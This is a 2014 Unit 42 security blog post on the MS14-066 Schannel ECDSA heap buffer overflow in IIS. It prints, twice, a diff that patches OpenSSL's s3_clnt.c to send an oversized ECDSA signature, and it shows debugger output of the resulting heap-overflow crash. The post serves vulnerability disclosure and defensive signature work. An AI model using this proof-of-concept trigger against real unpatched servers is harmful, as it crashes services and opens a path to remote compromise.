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Server BOF Vulnerability ![Clock Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-clock.svg) 3 min read * ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg) By: * [IPS Team](https://unit42.paloaltonetworks.com/author/ips-team/) * ![Published Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-calendar-grey.svg) Published:December 4, 2014 * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-category.svg) Categories: * [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) * [Vulnerabilities](https://unit42.paloaltonetworks.com/category/vulnerabilities/) * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-tags-grey.svg) Tags: * [BOF](https://unit42.paloaltonetworks.com/tag/bof/) * [Buffer Overflow](https://unit42.paloaltonetworks.com/tag/buffer-overflow/) * [Microsoft Secure Channel](https://unit42.paloaltonetworks.com/tag/microsoft-secure-channel/) * [Microsoft Security Bulletin](https://unit42.paloaltonetworks.com/tag/microsoft-security-bulletin/) * [MS14-066](https://unit42.paloaltonetworks.com/tag/ms14-066/) * [OpenSSL](https://unit42.paloaltonetworks.com/tag/openssl/) * [Schannel](https://unit42.paloaltonetworks.com/tag/schannel/) * [![Download Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-download.svg)](https://unit42.paloaltonetworks.com/code-trigger-ms14-066-ecdsa-server-bof-vulnerability/?pdf=download&lg=en&_wpnonce=ac4b3be3b8 "Click here to download") * [![Print Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-print.svg)](https://unit42.paloaltonetworks.com/code-trigger-ms14-066-ecdsa-server-bof-vulnerability/?pdf=print&lg=en&_wpnonce=ac4b3be3b8 "Click here to print") Share![Down arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/down-arrow.svg) * ![Link Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-share-link.svg) * [![Link Email](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-sms.svg)](mailto:?subject=Code%20to%20Trigger%20MS14-066%20ECDSA%20Server%20BOF%20Vulnerability&body=Check%20out%20this%20article%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fcode-trigger-ms14-066-ecdsa-server-bof-vulnerability%2F "Share in email") * [![Facebook Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-fb-share.svg)](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Funit42.paloaltonetworks.com%2Fcode-trigger-ms14-066-ecdsa-server-bof-vulnerability%2F "Share in Facebook") * [![LinkedIn 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This vulnerability is being referred to as [MS14-066](https://technet.microsoft.com/en-us/library/security/ms14-066.aspx). A [description](https://blog.beyondtrust.com/triggering-ms14-066) of how to trigger the MS14-066 ECDSA Heap Buffer Overflow vulnerability was posted by BeyondTrust, which also explained the research method used in narrowing down where this vulnerability presented itself. Their article mentions leveraging the OpenSSL s\_client to authenticate to an IIS server, and by patching the s3\_cInt.c file to fuzz the particular code path they were able to trigger a crash in memcpy. (BeyondTrust's research team is to be thanked for saving others in our community a lot of work and time!) Our researchers were able to write a demonstration program by patching the OpenSSL 1.0.1 source code to trigger this specific vulnerability and show how this could be used for exploitation. The diff output is provided below: diff -du s3\_clnt.c.bak s3\_clnt.c --- s3\_clnt.c.bak 2014-11-18 13:17:08.011936659 -0800 +++ s3\_clnt.c 2014-11-18 13:18:05.895933730 -0800 @@ -3062,8 +3062,50 @@ ERR\_R\_ECDSA\_LIB); goto err; } + + ECDSA\_SIG \*pecdsa\_sig; + unsigned char \*psig, \*r, \*s, \*p1; + int rlen, slen; + + rlen = 0x10; /\* first memcpy size \*/ + slen = 0x2800; /\* second memcpy size \*/ + if((rlen + slen)\> 0xffff) + { + SSLerr(SSL\_F\_SSL3\_SEND\_CLIENT\_VERIFY, + ERR\_R\_ECDSA\_LIB); + goto err; + } + + + r = (unsigned char \*) OPENSSL\_malloc(rlen); + s = (unsigned char \*) OPENSSL\_malloc(slen); + psig = (unsigned char \*) OPENSSL\_malloc(rlen + slen + 0x60); + memset(r, 'A', rlen); + memset(s, 'B', slen); + pecdsa\_sig = ECDSA\_SIG\_new(); + + if(BN\_bin2bn(r, rlen, pecdsa\_sig-\>r) == NULL) + { + printf("BN\_bin2bn r failed.\\n"); + ECDSA\_SIG\_free(pecdsa\_sig); + goto err; + } + if(BN\_bin2bn(s, slen, pecdsa\_sig-\>s) == NULL) + { + printf("BN\_bin2bn s failed.\\n"); + ECDSA\_SIG\_free(pecdsa\_sig); + goto err; + } + OPENSSL\_free(r); + OPENSSL\_free(s); + memset(psig, 0, rlen + slen + 0x60); + p1 = psig; + j = i2d\_ECDSA\_SIG(pecdsa\_sig, \&p1); + memcpy(p + 2, psig , j); s2n(j,p); n=j+2; + ECDSA\_SIG\_free(pecdsa\_sig); + OPENSSL\_free(psig); } else #endif |----------------------------------------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 | diff -du s3\_clnt.c.bak s3\_clnt.c --- s3\_clnt.c.bak 2014-11-18 13:17:08.011936659 -0800 +++ s3\_clnt.c 2014-11-18 13:18:05.895933730 -0800 @@ -3062,8 +3062,50 @@ ERR\_R\_ECDSA\_LIB); goto err; } + + ECDSA\_SIG \*pecdsa\_sig; + unsigned char \*psig, \*r, \*s, \*p1; + int rlen, slen; + + rlen = 0x10; /\* first memcpy size \*/ + slen = 0x2800; /\* second memcpy size \*/ + if((rlen + slen)\> 0xffff) + { + SSLerr(SSL\_F\_SSL3\_SEND\_CLIENT\_VERIFY, + ERR\_R\_ECDSA\_LIB); + goto err; + } + + + r = (unsigned char \*) OPENSSL\_malloc(rlen); + s = (unsigned char \*) OPENSSL\_malloc(slen); + psig = (unsigned char \*) OPENSSL\_malloc(rlen + slen + 0x60); + memset(r, 'A', rlen); + memset(s, 'B', slen); + pecdsa\_sig = ECDSA\_SIG\_new(); + + if(BN\_bin2bn(r, rlen, pecdsa\_sig-\>r) == NULL) + { + printf("BN\_bin2bn r failed.\\n"); + ECDSA\_SIG\_free(pecdsa\_sig); + goto err; + } + if(BN\_bin2bn(s, slen, pecdsa\_sig-\>s) == NULL) + { + printf("BN\_bin2bn s failed.\\n"); + ECDSA\_SIG\_free(pecdsa\_sig); + goto err; + } + OPENSSL\_free(r); + OPENSSL\_free(s); + memset(psig, 0, rlen + slen + 0x60); + p1 = psig; + j = i2d\_ECDSA\_SIG(pecdsa\_sig, \&p1); + memcpy(p + 2, psig , j); s2n(j,p); n=j+2; + ECDSA\_SIG\_free(pecdsa\_sig); + OPENSSL\_free(psig); } else #endif | You can change the rlen and slen easily and send the packet via OpenSSL s\_client to an unpatched IIS server. The following is WinDBG output showing the entry into the schannel function iCM\_DecodeSigAndReverse: [![image 1](http://blog.paloaltonetworks.com/wp-content/uploads/2014/12/image-1-500x164.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2014/12/image-1.png) Figure 1: Debugger output showing entry into schannel iCM\_DecodeSigAndReverse function. There are two vulnerable memcpy function calls. At each memcpy we can see that the size matches the rlen and slen sized in the patched OpenSSL code above which means a remote user can control the size passed into those functions. [![image 2](http://blog.paloaltonetworks.com/wp-content/uploads/2014/12/image-2-500x192.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2014/12/image-2.png) Figure 2: Debugger output showing memcpy rlen and slen manipulation. The heap has been overflowed and a code 0xc0000005 (Access violation) has been generated due to an invalid memory dereference. [![image 3](http://blog.paloaltonetworks.com/wp-content/uploads/2014/12/image-3-500x144.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2014/12/image-3.png) Figure 3: Debugger output showing the resulting heap overflow access violation. Palo Alto Networks has released threat signatures 37057-37061 to protect against this vulnerability. Our protocol decoder-based analysis statefully decodes the protocol and then intelligently applies signatures to detect vulnerability exploits. Our Advanced Endpoint Protection system will also protect against this vulnerability by using an innovative approach to prevent known exploitation techniques that allow an attacker to gain control of the system. Learn more about Advanced Endpoint Protection [here](https://www.paloaltonetworks.com/products/endpoint-security.html). Back to top ### Tags * [BOF](https://unit42.paloaltonetworks.com/tag/bof/ "BOF") * [Buffer Overflow](https://unit42.paloaltonetworks.com/tag/buffer-overflow/ "Buffer Overflow") * [Microsoft Secure Channel](https://unit42.paloaltonetworks.com/tag/microsoft-secure-channel/ "Microsoft Secure Channel") * [Microsoft Security Bulletin](https://unit42.paloaltonetworks.com/tag/microsoft-security-bulletin/ "Microsoft Security Bulletin") * [MS14-066](https://unit42.paloaltonetworks.com/tag/ms14-066/ "MS14-066") * [OpenSSL](https://unit42.paloaltonetworks.com/tag/openssl/ "OpenSSL") * [Schannel](https://unit42.paloaltonetworks.com/tag/schannel/ "Schannel") [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research") [Next: Follow-On to VBA-Initiated Infostealer Campaign: Exploring Related Malware and Actors](https://unit42.paloaltonetworks.com/follow-vba-initiated-infostealer-campaign-exploring-related-malware-actors/ "Follow-On to VBA-Initiated Infostealer Campaign: Exploring Related Malware and Actors") ### Related Articles * [Threat Brief: CVE-2022-3786 and CVE-2022-3602: OpenSSL X.509 Buffer Overflows](https://unit42.paloaltonetworks.com/openssl-vulnerabilities/ "article - table of contents") * [Network Security Trends: August-October 2021](https://unit42.paloaltonetworks.com/network-attacks-trends-august-october-2021/ "article - table of contents") * [Palo Alto Networks Researchers Discover Two Critical Internet Explorer Vulnerabilities](https://unit42.paloaltonetworks.com/unit42-palo-alto-networks-researchers-discover-two-critical-internet-explorer-vulnerabilities/ "article - table of contents") ## Related Vulnerabilities Resources ![Pictorial representation of a group of people interacting with a dynamic 3D holographic display of colorful, undulating data waves on a table.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/09/11_Myth-Busting_Overview_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/08/Insights-icon-white.svg)Insights](https://unit42.paloaltonetworks.com/category/insights/) August 4, 2026 [#### The Frontier AI Vulnerability Burst: Industrializing Autonomous Zero-Day Discovery in Open-Source Software](https://unit42.paloaltonetworks.com/frontier-ai-vulnerability-burst/) * [AI](https://unit42.paloaltonetworks.com/tag/ai/ "AI") * [Frontier AI](https://unit42.paloaltonetworks.com/tag/frontier-ai/ "Frontier AI") * [Vulnerability Exploitation](https://unit42.paloaltonetworks.com/tag/vulnerability-exploitation/ "Vulnerability Exploitation") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/frontier-ai-vulnerability-burst/ "The Frontier AI Vulnerability Burst: Industrializing Autonomous Zero-Day Discovery in Open-Source Software") ![Pictorial representation of AI-enabled autonomous cyberattacks. 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Digital art depicting a stylized mountain range with vibrant blue and red hues. The peaks are accentuated by glowing particles and an abstract, starry backdrop, creating a futuristic landscape.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/02/14_Overview_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/) February 19, 2026 [#### VShell and SparkRAT Observed in Exploitation of BeyondTrust Critical Vulnerability (CVE-2026-1731)](https://unit42.paloaltonetworks.com/beyondtrust-cve-2026-1731/) * [Bash](https://unit42.paloaltonetworks.com/tag/bash/ "bash") * [CVE-2026-1731](https://unit42.paloaltonetworks.com/tag/cve-2026-1731/ "CVE-2026-1731") * [PowerShell](https://unit42.paloaltonetworks.com/tag/powershell/ "PowerShell") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/beyondtrust-cve-2026-1731/ "VShell and SparkRAT Observed in Exploitation of BeyondTrust Critical Vulnerability (CVE-2026-1731)") ![](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/02/AdobeStock_1020436911-786x440.jpeg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/) February 17, 2026 [#### Critical Vulnerabilities in Ivanti EPMM Exploited](https://unit42.paloaltonetworks.com/ivanti-cve-2026-1281-cve-2026-1340/) * [CVE-2026-1281](https://unit42.paloaltonetworks.com/tag/cve-2026-1281/ "CVE-2026-1281") * [CVE-2026-1340](https://unit42.paloaltonetworks.com/tag/cve-2026-1340/ "CVE-2026-1340") * [Ivanti](https://unit42.paloaltonetworks.com/tag/ivanti/ "Ivanti") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ivanti-cve-2026-1281-cve-2026-1340/ "Critical Vulnerabilities in Ivanti EPMM Exploited") ![Pictorial representation of CVE-2025-0921. Digital illustration of a map of North America with interconnected glowing lines and dots symbolizing network connections across the continent.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/01/06_Vulnerabilities_1920x900-2-1-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) January 30, 2026 [#### Privileged File System Vulnerability Present in a SCADA System](https://unit42.paloaltonetworks.com/iconics-suite-cve-2025-0921/) * [CVE-2025-0921](https://unit42.paloaltonetworks.com/tag/cve-2025-0921/ "CVE-2025-0921") * [Privilege escalation](https://unit42.paloaltonetworks.com/tag/privilege-escalation/ "privilege escalation") * [SCADA](https://unit42.paloaltonetworks.com/tag/scada/ "SCADA") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/iconics-suite-cve-2025-0921/ "Privileged File System Vulnerability Present in a SCADA System") * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ![Enlarged Image]() ![Newsletter](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/unit42-footer-subscribe-desktop.png) ![UNIT 42 Small Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/palo-alto-logo-small.svg) Get updates from Unit 42 ## Peace of mind comes from staying ahead of threats. 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